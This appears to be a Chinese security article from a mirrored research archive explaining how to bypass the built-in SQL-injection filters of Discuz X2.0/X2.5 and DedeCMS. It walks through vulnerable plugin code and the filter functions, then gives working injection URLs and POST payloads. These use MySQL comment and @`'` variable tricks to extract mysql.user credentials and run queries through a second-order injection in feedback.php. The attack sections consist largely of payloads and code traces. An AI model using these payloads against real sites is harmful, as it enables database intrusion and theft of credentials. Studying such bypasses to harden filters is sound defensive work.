menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 0128-几种通用防注入程序绕过方法.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    0128-几种通用防注入程序绕过方法.md
    17.74 KB / 2021-07-17 00:01:34
        # 几种通用防注入程序绕过方法
    
    ### 0x00 前言
    
    * * *
    
    目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。
    
    ### 0x01 Discuz x2.0防注入
    
    * * *
    
    #### 防注入原理
    
    这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。
    
    漏洞本身很简单,存在于**/source/plugin/v63shop/config.inc.php**中的第29行getGoods函数中,代码如下所示
    
    ```
    function getGoods($id){
          $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
            $goods = DB::fetch($query);
            $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
            $goods['price2'] = $goods['price'];
            if($goods['sort'] ==2){
                $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
                $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
                $last = DB::fetch($query);
                if(is_array($last)){
                    $goods['price'] = $last['chujia'];
                    $goods['uid']  = $last['uid'];
                    $goods['username']  = $last['username'];
                    $goods['pm'] = $last;
                    if(time()+600> $goods['endtime']){
                        $goods['endtime'] = $last[time]+600;
                        $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                    }
                }
            }
            return $goods;
    }
    
    ```
    
    触发漏洞的入口点在**/source/plugin/v63shop/goods.inc.php**中的第6行和第8行,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/fd58623f66afb6eae5ab209ad0aaa4cb08366816.jpg)
    
    下面可以构造如下请求触发漏洞了,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/1e8f24c6431e33eadc386f723595ca3e12ef737e.jpg)
    
    不过程序内置了一个_do_query_safe函数用来防注入,如图所示 ![enter image description here](http://drops.javaweb.org/uploads/images/3ad75adb6679048413a62b361e8ef1b34ffdd485.jpg)
    
    这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/4d512d885750489b7b43db40b5fcf3a37895f3b6.jpg)
    
    因为我们的url中出现了union select,所以会被过滤掉。
    
    #### 绕过方法
    
    这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
    
    ```
    http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
    
    ```
    
    这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
    
    ```
    select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
    
    ```
    
    再进一步跟踪,它会将`/**/`也去掉,然对$clean变量做过滤,如图所示
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/70287768411f6b27036ffa50fd8e9b5db9887289.jpg) 此时$clean值,如图所示 ![enter image description here](http://drops.javaweb.org/uploads/images/7f6dee3158ab174dc0d5d2d8477c20c5fbe11455.jpg)
    
    此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: ![enter image description here](http://drops.javaweb.org/uploads/images/7293b8de24a0afe82e6eb6079f167e986a66ed99.jpg)
    
    ### 0x02 Discuz X2.5防注入
    
    * * *
    
    #### 防注入原理
    
    Discuz X2.5版修改了防注入函数的代码,在**/config/config_global.php**中有如下代码,如图所示 ![enter image description here](http://drops.javaweb.org/uploads/images/ee59c9affe06d2d33a348994f1a01785c91464cf.jpg)
    
    这里`$_config['security']['querysafe']['afullnote']`默认被设置为0,重点关注这一点。
    
    这里跟踪一下失败的原因,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/7f23fc8688073a0a69309ee77a16b6925362b965.jpg)
    
    此时观察一下变量,_do_query_safe($sql)函数会将`/**/`中的内容去掉,然后存到$clean中,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/70b9bc7f4ce81de2a6b96a4f285decb5594fc9ec.jpg)
    
    其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/12f19d938f0302a6ef21974717148f5683dae232.jpg) 因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换`/**/`为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  ![enter image description here](http://drops.javaweb.org/uploads/images/101c540ca450a5e579fef2e74e117f6204f4d639.jpg)
    
    所以注入失败。
    
    #### 绕过方法
    
    在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@`'`放入sql语句当中,帮助我们绕过防注入程序检查。
    
    这里利用如下方式绕过_do_query_safe函数过滤,如下所示:
    
    ```
    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
    
    ```
    
    这里跟踪一下执行的过程,如图所示:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/2003c3f607231a5db70bb9ef2397d5949d1ea872.jpg) 这里有一个if判断,重点看这句
    
    ```
    $clean = preg_replace("/'(.+?)'/s", '', $sql);
    
    ```
    
    它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用
    
    ```
    @`'` union select @`'`
    
    ```
    
    这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/d17c063f0cfcb68085f9e01bdf6b4d384a294fea.jpg)
    
    这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/1a3eaa62cd4d2bf158a73c4ccb7d0dccb46bd45f.jpg)
    
    不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下: ![enter image description here](http://drops.javaweb.org/uploads/images/e8f6cd793205d25ee484e6c3424bd6dd00cab9a4.jpg)
    
    加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:
    
    ```
    if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
        $clean = preg_replace("/'(.+?)'/s", '', $sql);
    }
    
    ```
    
    这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:
    
    ```
    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
    
    ```
    
    这里我引入了`'`用来隐藏第一个@字符,并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/e852e5532f3ffb48e24c74865f70151470ec61b6.jpg)
    
    可以看到$clean变为
    
    ```
    select * from pre_v63_goods where `id` =``
    
    ```
    
    成功绕过补丁,如图所示:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/a3af538a145034c4a3322d50c3e322f0ae81f046.jpg) 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。
    
    ### 0x03 DedeCMS防注入
    
    * * *
    
    #### 防注入原理
    
    这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。
    
    漏洞存在于/plus/feedback.php中的第244行,代码如下所示
    
    ```
    if($comtype == 'comments')
        {
            $arctitle = addslashes($title);
            $typeid = intval($typeid);
            $ischeck = intval($ischeck);
            $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
            if($msg!='')
            {
                $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                       VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
                $rs = $dsql->ExecuteNoneQuery($inquery);
                if(!$rs)
                {
                    ShowMsg(' 发表评论错误! ', '-1');
                    //echo $dsql->GetError();
                    exit();
                }
            }
        }
        //引用回复
        elseif ($comtype == 'reply')
        {
            $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
            $arctitle = $row['arctitle'];
            $aid =$row['aid'];
            $msg = $quotemsg.$msg;
            $msg = HtmlReplace($msg, 2);
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
            $dsql->ExecuteNoneQuery($inquery);
        }
    
    ```
    
    这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示
    
    ```
    $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
    $arctitle = $row['arctitle'];
    
    ```
    
    这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,
    
    ```
    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
    
    ```
    
    这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。
    
    但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。
    
    #### 绕过方法
    
    众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:
    
    ```
    function CheckSql($db_string,$querytype='select')
        {
            global $cfg_cookie_encode;
            $clean = '';
            $error='';
            $old_pos = 0;
            $pos = -1;
            $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
            $userIP = GetIP();
            $getUrl = GetCurUrl();
    
            //如果是普通查询语句,直接过滤一些特殊语法
            if($querytype=='select')
            {
                $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
    
                //$notallow2 = "--|/\*";
                if(preg_match("/".$notallow1."/i", $db_string))
                {
                    fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                    exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
                }
            }
    
            //完整的SQL检查
            while (TRUE)
            {
                $pos = strpos($db_string, '\'', $pos + 1);
                if ($pos === FALSE)
                {
                    break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (TRUE)
                {
                    $pos1 = strpos($db_string, '\'', $pos + 1);
                    $pos2 = strpos($db_string, '\\', $pos + 1);
                    if ($pos1 === FALSE)
                    {
                        break;
                    }
                    elseif ($pos2 == FALSE || $pos2 > $pos1)
                    {
                        $pos = $pos1;
                        break;
                    }
                    $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
            }
            $clean .= substr($db_string, $old_pos);
            $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    
            //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
            if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="union detect";
            }
    
            //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
            elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
            {
                $fail = TRUE;
                $error="comment detect";
            }
    
            //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
            elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="slown down detect";
            }
            elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="slown down detect";
            }
            elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="file fun detect";
            }
            elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="file fun detect";
            }
    
            //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
            elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
            {
                $fail = TRUE;
                $error="sub select detect";
            }
            if (!empty($fail))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
            }
            else
            {
                return $db_string;
            }
        }
    
    ```
    
    但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。
    
    这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。
    
    ```
    ',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
    
    ```
    
    跟踪代码,如图所示 ![enter image description here](http://drops.javaweb.org/uploads/images/deadf294d7099496e901ea609720d76bc97f890a.jpg)
    
    如下SQL语句
    
    ```
    INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
    
    ```
    
    被替换为了
    
    ```
    insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
    
    ```
    
    字符串中没有任何敏感字,成功绕过CheckSql()函数检测。
    
    POST如下请求给feedback.php,如下所示:
    
    ```
       action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
    
    ```
    
    跟踪代码,实际执行的SQL语句跟踪变量如下所示: ![enter image description here](http://drops.javaweb.org/uploads/images/43c299867d7f7640df4c1b9dfd626359a24360f0.jpg)
    
    被插入数据库中的内容,如图所示: ![enter image description here](http://drops.javaweb.org/uploads/images/9a75953ed3b3abb47e210306b717415e289c535b.jpg)
    
    下面再POST如下内容给feedback.php,
    
    ```
    action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
    
    ```
    
    跟踪一下这里执行的SQL语句,如图所示 ![enter image description here](http://drops.javaweb.org/uploads/images/67b29a48fb37e035ee03f3442522572002e02482.jpg)
    
    所以select user()执行了,并且可以作为msg字段输出。
    
    ### 0x04 总结
    
    * * *
    
    在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。
    
    links
    file_download